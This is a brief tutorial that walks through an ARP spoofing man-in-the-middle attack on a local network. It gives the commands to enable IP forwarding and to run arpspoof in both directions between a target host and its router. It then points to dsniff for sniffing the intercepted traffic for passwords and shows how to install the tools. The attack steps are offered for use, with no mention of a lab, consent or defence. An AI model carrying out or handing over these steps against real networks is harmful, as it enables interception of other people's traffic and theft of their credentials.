Step 1: echo 1 > /proc/sys/net/ipv4/ip_forward
Step 2: arpspoof -i eth0 -t 10.10.20.121 10.10.20.1 & >/dev/null
Step 3: arpspoof -i eth0 -t 10.10.20.1 10.10.20.121 & >/dev/null
Now you have hijacked all network traffic in and out from 10.10.20.121 and then you are redirecting it to the router 10.10.20.1.
You can now use tools like dsniff and others to sniff all of the traffic for passwords and etc…. If you are using ubuntu the only tools required are arpspoof. You can install it using the following command:
sudo apt-get install dsniff ### This will install arpspoof for you on any version of ubuntu.